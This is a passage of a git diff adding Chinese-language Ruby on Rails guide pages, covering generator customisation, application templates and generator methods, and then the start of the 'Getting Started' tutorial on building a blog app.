+      create      app/assets/javascripts/users.coffee
+      invoke    scss
+      create      app/assets/stylesheets/users.scss
+      invoke  scss
+      create    app/assets/stylesheets/scaffolds.scss
+
+
+
+

通过上述输出不难看出 Rails 3.0 及以上版本中生成器的工作方式。脚手架生成器其实什么也不生成,只是调用其他生成器。因此,我们可以添加、替换和删除任何生成器。例如,脚手架生成器调用了 scaffold_controller 生成器,而它调用了 erb、test_unit 和 helper 生成器。因为各个生成器的职责单一,所以可以轻易复用,从而避免代码重复。

我们定制工作流程的第一步是,不让脚手架生成样式表、JavaScript 和测试固件文件。为此,我们要像下面这样修改配置:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+
+
+
+

如果再使用脚手架生成器生成一个资源,你会看到,它不再创建样式表、JavaScript 和固件文件了。如果想进一步定制,例如使用 DataMapper 和 RSpec 替换 Active Record 和 TestUnit,只需添加相应的 gem,然后配置生成器。

下面举个例子。我们将创建一个辅助方法生成器,添加一些实例变量读值方法。首先,在 rails 命名空间(Rails 在这里搜索作为钩子的生成器)中创建一个生成器:

+
+$ bin/rails generate generator rails/my_helper
+      create  lib/generators/rails/my_helper
+      create  lib/generators/rails/my_helper/my_helper_generator.rb
+      create  lib/generators/rails/my_helper/USAGE
+      create  lib/generators/rails/my_helper/templates
+
+
+
+

然后,把 templates 目录和 source_root 类方法删除,因为用不到。然后添加下述方法,此时生成器如下所示:

+
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+
+
+
+

下面为 products 创建一个辅助方法,试试这个新生成器:

+
+$ bin/rails generate my_helper products
+      create  app/helpers/products_helper.rb
+
+
+
+

上述命令会在 app/helpers 目录中生成下述辅助方法文件:

+
+module ProductsHelper
+  attr_reader :products, :product
+end
+
+
+
+

这正是我们预期的。接下来再次编辑 config/application.rb,告诉脚手架使用这个新辅助方法生成器:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+  g.helper          :my_helper
+end
+
+
+
+

然后调用这个生成器,实测一下:

+
+$ bin/rails generate scaffold Article body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/articles_helper.rb
+
+
+
+

从输出中可以看出,Rails 调用了这个新辅助方法生成器,而不是默认的那个。不过,少了点什么:没有生成测试。我们将复用旧的辅助方法生成器测试。

自 Rails 3.0 起,测试很容易,因为有了钩子。辅助方法无需限定于特定的测试框架,只需提供一个钩子,让测试框架实现钩子即可。

为此,我们可以按照下述方式修改生成器:

+
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+
+
+
+

现在,如果再调用这个辅助方法生成器,而且配置的测试框架是 TestUnit,它会调用 Rails::TestUnitGeneratorTestUnit::MyHelperGenerator。这两个生成器都没定义,我们可以告诉生成器去调用 TestUnit::Generators::HelperGenerator。这个生成器是 Rails 自带的。为此,我们只需添加:

+
+# 搜索 :helper,而不是 :my_helper
+hook_for :test_framework, as: :helper
+
+
+
+

现在,你可以使用脚手架再生成一个资源,你会发现它生成了测试。

6 通过修改生成器模板定制工作流程

前面我们只想在生成的辅助方法中添加一行代码,而不增加额外的功能。为此有种更为简单的方式:替换现有生成器的模板。这里要替换的是 Rails::Generators::HelperGenerator 的模板。

在 Rails 3.0 及以上版本中,生成器搜索模板时不仅查看源根目录,还会在其他路径中搜索模板。其中一个是 lib/templates。我们要定制的是 Rails::Generators::HelperGenerator,因此可以在 lib/templates/rails/helper 目录中放一个模板副本,名为 helper.rb。创建这个文件,写入下述内容:

+
+module <%= class_name %>Helper
+  attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+
+
+
+

然后撤销之前对 config/application.rb 文件的修改:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+
+
+
+

再生成一个资源,你将看到,得到的结果完全一样。如果你想定制脚手架模板和(或)布局,只需在 lib/templates/erb/scaffold 目录中创建 edit.html.erbindex.html.erb,等等。

Rails 的脚手架模板经常使用 ERB 标签,这些标签要转义,这样生成的才是有效的 ERB 代码。

例如,在模板中要像下面这样转义 ERB 标签(注意多了个 %):

+
+<%%= stylesheet_include_tag :application %>
+
+
+
+

生成的内容如下:

+
+<%= stylesheet_include_tag :application %>
+
+
+
+

7 为生成器添加后备机制

生成器最后一个相当有用的功能是插件生成器的后备机制。比如说我们想在 TestUnit 的基础上添加类似 shoulda 的功能。因为 TestUnit 已经实现了 Rails 所需的全部生成器,而 shoulda 只是覆盖其中部分,所以 shoulda 没必要重新实现某些生成器。相反,shoulda 可以告诉 Rails,在 Shoulda 命名空间中找不到某个生成器时,使用 TestUnit 中的生成器。

我们可以再次修改 config/application.rb 文件,模拟这种行为:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+
+  # 添加后备机制
+  g.fallbacks[:shoulda] = :test_unit
+end
+
+
+
+

现在,使用脚手架生成 Comment 资源时,你会看到调用了 shoulda 生成器,而它调用的其实是 TestUnit 生成器:

+
+$ bin/rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20130924143118_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/models/comment_test.rb
+      create      test/fixtures/comments.yml
+      invoke  resource_route
+       route    resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      invoke    shoulda
+      create      test/controllers/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke    jbuilder
+      create      app/views/comments/index.json.jbuilder
+      create      app/views/comments/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/comments.coffee
+      invoke    scss
+
+
+
+

后备机制能让生成器专注于实现单一职责,尽量复用代码,减少重复代码量。

8 应用模板

至此,我们知道生成器可以在应用内部使用,但是你知道吗,生成器也可用于生成应用?这种生成器叫“模板”(template)。本节简介 Templates API,详情参阅Rails 应用模板

+
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+  gem "devise"
+  generate "devise:install"
+  model_name = ask("What would you like the user model to be called? [user]")
+  model_name = "user" if model_name.blank?
+  generate "devise", model_name
+end
+
+
+
+

在上述模板中,我们指定应用要使用 rspec-railscucumber-rails 两个 gem,因此把它们添加到 Gemfiletest 组。然后,我们询问用户是否想安装 Devise。如果用户回答“y”或“yes”,这个模板会将其添加到 Gemfile 中,而且不放在任何分组中,然后运行 devise:install 生成器。然后,这个模板获取用户的输入,运行 devise 生成器,并传入用户对前一个问题的回答。

假如这个模板保存在名为 template.rb 的文件中。我们可以使用它修改 rails new 命令的输出,方法是把文件名传给 -m 选项:

+
+$ rails new thud -m template.rb
+
+
+
+

上述命令会生成 Thud 应用,然后把模板应用到生成的输出上。

模板不一定非得存储在本地系统中,-m 选项也支持在线模板:

+
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+
+
+
+

本章最后一节虽然不说明如何生成大多数已知的优秀模板,但是会详细说明可用的方法,供你自己开发模板。那些方法也可以在生成器中使用。

9 生成器方法

下面是可供 Rails 生成器和模板使用的方法。

本文不涵盖 Thor 提供的方法。如果想了解,参阅 Thor 的文档

9.1 gem +

指定应用的一个 gem 依赖。

+
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+
+
+
+

可用的选项:

+
    +
  • :group:把 gem 添加到 Gemfile 中的哪个分组里。

  • +
  • :version:要使用的 gem 版本号,字符串。也可以在 gem 方法的第二个参数中指定。

  • +
  • :git:gem 的 Git 仓库的 URL。

  • +
+

传给这个方法的其他选项放在行尾:

+
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+
+
+
+

上述代码在 Gemfile 中写入下面这行代码:

+
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+
+
+
+

9.2 gem_group +

把 gem 放在一个分组里:

+
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+
+

9.3 add_source +

Gemfile 中添加指定的源:

+
+add_source "http://gems.github.com/"
+
+
+
+

这个方法也接受块:

+
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
+
+
+
+

9.4 inject_into_file +

在文件中的指定位置插入一段代码:

+
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+  puts "Hello World"
+RUBY
+end
+
+
+
+

9.5 gsub_file +

替换文件中的文本:

+
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+
+
+
+

使用正则表达式替换的效果更精准。可以使用类似的方式调用 append_fileprepend_file,分别在文件的末尾和开头添加代码。

9.6 application +

config/application.rb 文件中应用类定义后面直接添加内容:

+
+application "config.asset_host = 'http://example.com/'"
+
+
+
+

这个方法也接受块:

+
+application do
+  "config.asset_host = 'http://example.com/'"
+end
+
+
+
+

可用的选项:

+
    +
  • +

    :env:指定配置选项所属的环境。如果想在块中使用这个选项,建议使用下述句法:

    +
    +
    +application(nil, env: "development") do
    +  "config.asset_host = 'http://localhost:3000/'"
    +end
    +
    +
    +
    +
  • +
+

9.7 git +

运行指定的 Git 命令:

+
+git :init
+git add: "."
+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+
+
+
+

这里的散列是传给指定 Git 命令的参数或选项。如最后一行所示,一次可以指定多个 Git 命令,但是命令的运行顺序不一定与指定的顺序一样。

9.8 vendor +

vendor 目录中放一个文件,内有指定的代码:

+
+vendor "sekrit.rb", '#top secret stuff'
+
+
+
+

这个方法也接受块:

+
+vendor "seeds.rb" do
+  "puts 'in your app, seeding your database'"
+end
+
+
+
+

9.9 lib +

lib 目录中放一个文件,内有指定的代码:

+
+lib "special.rb", "p Rails.root"
+
+
+
+

这个方法也接受块

+
+lib "super_special.rb" do
+  puts "Super special!"
+end
+
+
+
+

9.10 rakefile +

在应用的 lib/tasks 目录中创建一个 Rake 文件:

+
+rakefile "test.rake", "hello there"
+
+
+
+

这个方法也接受块:

+
+rakefile "test.rake" do
+  %Q{
+    task rock: :environment do
+      puts "Rockin'"
+    end
+  }
+end
+
+
+
+

9.11 initializer +

在应用的 config/initializers 目录中创建一个初始化脚本:

+
+initializer "begin.rb", "puts 'this is the beginning'"
+
+
+
+

这个方法也接受块,期待返回一个字符串:

+
+initializer "begin.rb" do
+  "puts 'this is the beginning'"
+end
+
+
+
+

9.12 generate +

运行指定的生成器,第一个参数是生成器的名称,后续参数直接传给生成器:

+
+generate "scaffold", "forums title:string description:text"
+
+
+
+

9.13 rake +

运行指定的 Rake 任务:

+
+rake "db:migrate"
+
+
+
+

可用的选项:

+
    +
  • :env:指定在哪个环境中运行 Rake 任务。

  • +
  • :sudo:是否使用 sudo 运行任务。默认为 false

  • +
+

9.14 capify! +

在应用的根目录中运行 Capistrano 提供的 capify 命令,生成 Capistrano 配置。

+
+capify!
+
+
+
+

9.15 route +

config/routes.rb 文件中添加文本:

+
+route "resources :people"
+
+
+
+

9.16 readme +

输出模板的 source_path 中某个文件的内容,通常是 README 文件:

+
+readme "README"
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/getting_started.html b/v5.0/getting_started.html new file mode 100644 index 0000000..9703310 --- /dev/null +++ b/v5.0/getting_started.html @@ -0,0 +1,1590 @@ + + + + + + + +Rails 入门 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 入门

本文介绍如何开始使用 Ruby on Rails。

读完本文后,您将学到:

+
    +
  • 如何安装 Rails、创建 Rails 应用,如何连接数据库;

  • +
  • Rails 应用的基本文件结构;

  • +
  • MVC(模型、视图、控制器)和 REST 架构的基本原理;

  • +
  • 如何快速生成 Rails 应用骨架。

  • +
+ + + + +
+
+ +
+
+
+

1 前提条件

本文针对想从零开始开发 Rails 应用的初学者,不要求 Rails 使用经验。不过,为了能顺利阅读,还是需要事先安装好一些软件:

+ +

Rails 是使用 Ruby 语言开发的 Web 应用框架。如果之前没接触过 Ruby,会感到直接学习 Rails 的学习曲线很陡。这里提供几个学习 Ruby 的在线资源:

+ +

需要注意的是,有些资源虽然很好,但针对的是 Ruby 1.8 甚至 1.6 这些老版本,因此不涉及一些 Rails 日常开发的常见句法。

2 Rails 是什么?

Rails 是使用 Ruby 语言编写的 Web 应用开发框架,目的是通过解决快速开发中的共通问题,简化 Web 应用的开发。与其他编程语言和框架相比,使用 Rails 只需编写更少代码就能实现更多功能。有经验的 Rails 程序员常说,Rails 让 Web 应用开发变得更有趣。

Rails 有自己的设计原则,认为问题总有最好的解决方法,并且有意识地通过设计来鼓励用户使用最好的解决方法,而不是其他替代方案。一旦掌握了“Rails 之道”,就可能获得生产力的巨大提升。在 Rails 开发中,如果不改变使用其他编程语言时养成的习惯,总想使用原有的设计模式,开发体验可能就不那么让人愉快了。

Rails 哲学包含两大指导思想:

+
    +
  • 不要自我重复(DRY): DRY 是软件开发中的一个原则,意思是“系统中的每个功能都要具有单一、准确、可信的实现。”。不重复表述同一件事,写出的代码才更易维护、更具扩展性,也更不容易出问题。

  • +
  • 多约定,少配置: Rails 为 Web 应用的大多数需求都提供了最好的解决方法,并且默认使用这些约定,而不是在长长的配置文件中设置每个细节。

  • +
+

3 创建 Rails 项目

阅读本文的最佳方法是一步步跟着操作。所有这些步骤对于运行示例应用都是必不可少的,同时也不需要更多的代码或步骤。

通过学习本文,你将学会如何创建一个名为 Blog 的 Rails 项目,这是一个非常简单的博客。在动手开发之前,请确保已经安装了 Rails。

文中的示例代码使用 UNIX 风格的命令行提示符 $,如果你的命令行提示符是自定义的,看起来可能会不一样。在 Windows 中,命令行提示符可能类似 c:\source_code>

3.1 安装 Rails

打开命令行:在 Mac OS X 中打开 Terminal.app,在 Windows 中要在开始菜单中选择“运行”,然后输入“cmd.exe”。本文中所有以 $ 开头的代码,都应该在命令行中执行。首先确认是否安装了 Ruby 的最新版本:

+
+$ ruby -v
+ruby 2.3.0p0
+
+
+
+

有很多工具可以帮助你快速地在系统中安装 Ruby 和 Ruby on Rails。Windows 用户可以使用 Rails Installer,Mac OS X 用户可以使用 Tokaido。更多操作系统中的安装方法请访问 ruby-lang.org

很多类 UNIX 系统都预装了版本较新的 SQLite3。在 Windows 中,通过 Rails Installer 安装 Rails 会同时安装 SQLite3。其他操作系统中 SQLite3 的安装方法请参阅 SQLite3 官网。接下来,确认 SQLite3 是否在 PATH 中:

+
+$ sqlite3 --version
+
+
+
+

执行结果应该显示 SQLite3 的版本号。

安装 Rails,请使用 RubyGems 提供的 gem install 命令:

+
+$ gem install rails
+
+
+
+

执行下面的命令来确认所有软件是否都已正确安装:

+
+$ rails --version
+
+
+
+

如果执行结果类似 Rails 5.0.0,那么就可以继续往下读了。

3.2 创建 Blog 应用

Rails 提供了许多名为“生成器”(generator)的脚本,这些脚本可以为特定任务生成所需的全部文件,从而简化开发。其中包括新应用生成器,这个脚本用于创建 Rails 应用骨架,避免了手动编写基础代码。

要使用新应用生成器,请打开终端,进入具有写权限的文件夹,输入:

+
+$ rails new blog
+
+
+
+

这个命令会在文件夹 blog 中创建名为 Blog 的 Rails 应用,然后执行 bundle install 命令安装 Gemfile 中列出的 gem 及其依赖。

执行 rails new -h 命令可以查看新应用生成器的所有命令行选项。

创建 blog 应用后,进入该文件夹:

+
+$ cd blog
+
+
+
+

blog 文件夹中有许多自动生成的文件和文件夹,这些文件和文件夹组成了 Rails 应用的结构。本文涉及的大部分工作都在 app 文件夹中完成。下面简单介绍一下这些用新应用生成器默认选项生成的文件和文件夹的功能:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件/文件夹作用
app/包含应用的控制器、模型、视图、辅助方法、邮件程序和静态资源文件。这个文件夹是本文剩余内容关注的重点。
bin/包含用于启动应用的 rails 脚本,以及用于安装、更新、部署或运行应用的其他脚本。
config/配置应用的路由、数据库等。详情请参阅configuring.xml。
config.ru基于 Rack 的服务器所需的 Rack 配置,用于启动应用。
db/包含当前数据库的模式,以及数据库迁移文件。
Gemfile, Gemfile.lock这两个文件用于指定 Rails 应用所需的 gem 依赖。Bundler gem 需要用到这两个文件。关于 Bundler 的更多介绍,请访问 Bundler 官网。
lib/应用的扩展模块。
log/应用日志文件。
public/仅有的可以直接从外部访问的文件夹,包含静态文件和编译后的静态资源文件。
Rakefile定位并加载可在命令行中执行的任务。这些任务在 Rails 的各个组件中定义。如果要添加自定义任务,请不要修改 Rakefile,真接把自定义任务保存在 lib/tasks 文件夹中即可。
README.md应用的自述文件,说明应用的用途、安装方法等。
test/单元测试、固件和其他测试装置。详情请参阅testing.xml。
tmp/临时文件(如缓存和 PID 文件)。
vendor/包含第三方代码,如第三方 gem。
+

4 Hello, Rails!

首先,让我们快速地在页面中添加一些文字。为了访问页面,需要运行 Rails 应用服务器(即 Web 服务器)。

4.1 启动 Web 服务器

实际上这个 Rails 应用已经可以正常运行了。要访问应用,需要在开发设备中启动 Web 服务器。请在 blog 文件夹中执行下面的命令:

+
+$ bin/rails server
+
+
+
+

Windows 用户需要把 bin 文件夹下的脚本文件直接传递给 Ruby 解析器,例如 ruby bin\rails server

编译 CoffeeScript 和压缩 JavaScript 静态资源文件需要 JavaScript 运行时,如果没有运行时,在压缩静态资源文件时会报错,提示没有 execjs。Mac OS X 和 Windows 一般都提供了 JavaScript 运行时。在 Rails 应用的 Gemfile 中,therubyracer gem 被注释掉了,如果需要使用这个 gem,请去掉注释。对于 JRuby 用户,推荐使用 therubyrhino 这个运行时,在 JRuby 中创建 Rails 应用的 Gemfile 中默认包含了这个 gem。要查看 Rails 支持的所有运行时,请参阅 ExecJS

上述命令会启动 Puma,这是 Rails 默认使用的 Web 服务器。要查看运行中的应用,请打开浏览器窗口,访问 http://localhost:3000。这时应该看到默认的 Rails 欢迎页面:

默认的 Rails 欢迎页面

要停止 Web 服务器,请在终端中按 Ctrl+C 键。服务器停止后命令行提示符会重新出现。在大多数类 Unix 系统中,包括 Mac OS X,命令行提示符是 $ 符号。在开发模式中,一般情况下无需重启服务器,服务器会自动加载修改后的文件。

欢迎页面是创建 Rails 应用的冒烟测试,看到这个页面就表示应用已经正确配置,能够正常工作了。

4.2 显示“Hello, Rails!”

要让 Rails 显示“Hello, Rails!”,需要创建控制器和视图。

控制器接受向应用发起的特定访问请求。路由决定哪些访问请求被哪些控制器接收。一般情况下,一个控制器会对应多个路由,不同路由对应不同动作。动作搜集数据并把数据提供给视图。

视图以人类能看懂的格式显示数据。有一点要特别注意,数据是在控制器而不是视图中获取的,视图只是显示数据。默认情况下,视图模板使用 eRuby(嵌入式 Ruby)语言编写,经由 Rails 解析后,再发送给用户。

可以用控制器生成器来创建控制器。下面的命令告诉控制器生成器创建一个包含“index”动作的“Welcome”控制器:

+
+$ bin/rails generate controller Welcome index
+
+
+
+

上述命令让 Rails 生成了多个文件和一个路由:

+
+create  app/controllers/welcome_controller.rb
+ route  get 'welcome/index'
+invoke  erb
+create    app/views/welcome
+create    app/views/welcome/index.html.erb
+invoke  test_unit
+create    test/controllers/welcome_controller_test.rb
+invoke  helper
+create    app/helpers/welcome_helper.rb
+invoke  assets
+invoke    coffee
+create      app/assets/javascripts/welcome.coffee
+invoke    scss
+create      app/assets/stylesheets/welcome.scss
+
+
+
+

其中最重要的文件是控制器和视图,控制器位于 app/controllers/welcome_controller.rb 文件 ,视图位于 app/views/welcome/index.html.erb 文件 。

在文本编辑器中打开 app/views/welcome/index.html.erb 文件,删除所有代码,然后添加下面的代码:

+
+<h1>Hello, Rails!</h1>
+
+
+
+

4.3 设置应用主页

现在我们已经创建了控制器和视图,还需要告诉 Rails 何时显示“Hello, Rails!”,我们希望在访问根地址 http://localhost:3000 时显示。目前根地址显示的还是默认的 Rails 欢迎页面。

接下来需要告诉 Rails 真正的主页在哪里。

在编辑器中打开 config/routes.rb 文件。

+
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
+end
+
+
+
+

这是应用的路由文件,使用特殊的 DSL(domain-specific language,领域专属语言)编写,告诉 Rails 把访问请求发往哪个控制器和动作。编辑这个文件,添加一行代码 root 'welcome#index',此时文件内容应该变成下面这样:

+
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  root 'welcome#index'
+end
+
+
+
+

root 'welcome#index' 告诉 Rails 对根路径的访问请求应该发往 welcome 控制器的 index 动作,get 'welcome/index' 告诉 Rails 对 http://localhost:3000/welcome/index 的访问请求应该发往 welcome 控制器的 index 动作。后者是之前使用控制器生成器创建控制器(bin/rails generate controller Welcome index)时自动生成的。

如果在生成控制器时停止了服务器,请再次启动服务器(bin/rails server),然后在浏览器中访问 http://localhost:3000。我们会看到之前添加到 app/views/welcome/index.html.erb 文件 的“Hello, Rails!”信息,这说明新定义的路由确实把访问请求发往了 WelcomeControllerindex 动作,并正确渲染了视图。

关于路由的更多介绍,请参阅Rails 路由全解

5 启动并运行起来

前文已经介绍了如何创建控制器、动作和视图,接下来我们要创建一些更具实用价值的东西。

在 Blog 应用中创建一个资源(resource)。资源是一个术语,表示一系列类似对象的集合,如文章、人或动物。资源中的项目可以被创建、读取、更新和删除,这些操作简称 CRUD(Create, Read, Update, Delete)。

Rails 提供了 resources 方法,用于声明标准的 REST 资源。把 article 资源添加到 config/routes.rb 文件,此时文件内容应该变成下面这样:

+
+Rails.application.routes.draw do
+
+  resources :articles
+
+  root 'welcome#index'
+end
+
+
+
+

执行 bin/rails routes 命令,可以看到所有标准 REST 动作都具有对应的路由。输出结果中各列的意义稍后会作说明,现在只需注意 Rails 从 article 的单数形式推导出了它的复数形式,并进行了合理使用。

+
+$ bin/rails routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+
+
+
+

下一节,我们将为应用添加新建文章和查看文章的功能。这两个操作分别对应于 CRUD 的“C”和“R”:创建和读取。下面是用于新建文章的表单:

用于新建文章的表单

表单看起来很简陋,不过没关系,之后我们再来美化。

5.1 打地基

首先,应用需要一个页面用于新建文章,/articles/new 是个不错的选择。相关路由之前已经定义过了,可以直接访问。打开 http://localhost:3000/articles/new,会看到下面的路由错误:

路由错误,常量 ArticlesController 未初始化

产生错误的原因是,用于处理该请求的控制器还没有定义。解决问题的方法很简单:创建 Articles 控制器。执行下面的命令:

+
+$ bin/rails generate controller Articles
+
+
+
+

打开刚刚生成的 app/controllers/articles_controller.rb 文件,会看到一个空的控制器:

+
+class ArticlesController < ApplicationController
+end
+
+
+
+

控制器实际上只是一个继承自 ApplicationController 的类。接在来要在这个类中定义的方法也就是控制器的动作。这些动作对文章执行 CRUD 操作。

在 Ruby 中,有 publicprivateprotected 三种方法,其中只有 public 方法才能作为控制器的动作。详情请参阅 Programming Ruby 一书。

现在刷新 http://localhost:3000/articles/new,会看到一个新错误:

未知动作,在 ArticlesController 中找不到 new 动作

这个错误的意思是,Rails 在刚刚生成的 ArticlesController 中找不到 new 动作。这是因为在 Rails 中生成控制器时,如果不指定想要的动作,生成的控制器就会是空的。

在控制器中手动定义动作,只需要定义一个新方法。打开 app/controllers/articles_controller.rb 文件,在 ArticlesController 类中定义 new 方法,此时控制器应该变成下面这样:

+
+class ArticlesController < ApplicationController
+  def new
+  end
+end
+
+
+
+

ArticlesController 中定义 new 方法后,再次刷新 http://localhost:3000/articles/new,会看到另一个错误:

未知格式,缺少对应模板

产生错误的原因是,Rails 要求这样的常规动作有用于显示数据的对应视图。如果没有视图可用,Rails 就会抛出异常。

上图中下面的几行都被截断了,下面是完整信息:

+
+

ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you’re loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we’re showing an error to be extra-clear. If you expect 204 No Content, carry on. That’s what you’ll get from an XHR or API request. Give it a shot.

+
+

内容还真不少!让我们快速浏览一下,看看各部分是什么意思。

第一部分说明缺少哪个模板,这里缺少的是 articles/new 模板。Rails 首先查找这个模板,如果找不到再查找 application/new 模板。之所以会查找后面这个模板,是因为 ArticlesController 继承自 ApplicationController

下一部分是 request.formats,说明响应使用的模板格式。当我们在浏览器中请求页面时,request.formats 的值是 text/html,因此 Rails 会查找 HTML 模板。request.variants 指明伺服的是何种物理设备,帮助 Rails 判断该使用哪个模板渲染响应。它的值是空的,因为没有为其提供信息。

在本例中,能够工作的最简单的模板位于 app/views/articles/new.html.erb 文件中。文件的扩展名很重要:第一个扩展名是模板格式,第二个扩展名是模板处理器。Rails 会尝试在 app/views 文件夹中查找 articles/new 模板。这个模板的格式只能是 html,模板处理器只能是 erbbuildercoffee 中的一个。:erb 是最常用的 HTML 模板处理器,:builder 是 XML 模板处理器,:coffee 模板处理器用 CoffeeScript 创建 JavaScript 模板。因为我们要创建 HTML 表单,所以应该使用能够在 HTML 中嵌入 Ruby 的 ERB 语言。

所以我们需要创建 articles/new.html.erb 文件,并把它放在应用的 app/views 文件夹中。

现在让我们继续前进。新建 app/views/articles/new.html.erb 文件,添加下面的代码:

+
+<h1>New Article</h1>
+
+
+
+

刷新 http://localhost:3000/articles/new,会看到页面有了标题。现在路由、控制器、动作和视图都可以协调地工作了!是时候创建用于新建文章的表单了。

5.2 第一个表单

在模板中创建表单,可以使用表单构建器。Rails 中最常用的表单构建器是 form_for 辅助方法。让我们使用这个方法,在 app/views/articles/new.html.erb 文件中添加下面的代码:

+
+<%= form_for :article do |f| %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

现在刷新页面,会看到和前文截图一样的表单。在 Rails 中创建表单就是这么简单!

调用 form_for 辅助方法时,需要为表单传递一个标识对象作为参数,这里是 :article 符号。这个符号告诉 form_for 辅助方法表单用于处理哪个对象。在 form_for 辅助方法的块中,f 表示 FormBuilder 对象,用于创建两个标签和两个文本字段,分别用于添加文章的标题和正文。最后在 f 对象上调用 submit 方法来为表单创建提交按钮。

不过这个表单还有一个问题,查看 HTML 源代码会看到表单 action 属性的值是 /articles/new,指向的是当前页面,而当前页面只是用于显示新建文章的表单。

应该把表单指向其他 URL,为此可以使用 form_for 辅助方法的 :url 选项。在 Rails 中习惯用 create 动作来处理提交的表单,因此应该把表单指向这个动作。

修改 app/views/articles/new.html.erb 文件的 form_for 这一行,改为:

+
+<%= form_for :article, url: articles_path do |f| %>
+
+
+
+

这里我们把 articles_path 辅助方法传递给 :url 选项。要想知道这个方法有什么用,我们可以回过头看一下 bin/rails routes 的输出结果:

+
+$ bin/rails routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+
+
+
+

articles_path 辅助方法告诉 Rails 把表单指向和 articles 前缀相关联的 URI 模式。默认情况下,表单会向这个路由发起 POST 请求。这个路由和当前控制器 ArticlesControllercreate 动作相关联。

有了表单和与之相关联的路由,我们现在可以填写表单,然后点击提交按钮来新建文章了,请实际操作一下。提交表单后,会看到一个熟悉的错误:

未知动作,在 `ArticlesController` 中找不到 `create` 动作

解决问题的方法是在 ArticlesController 中创建 create 动作。

5.3 创建文章

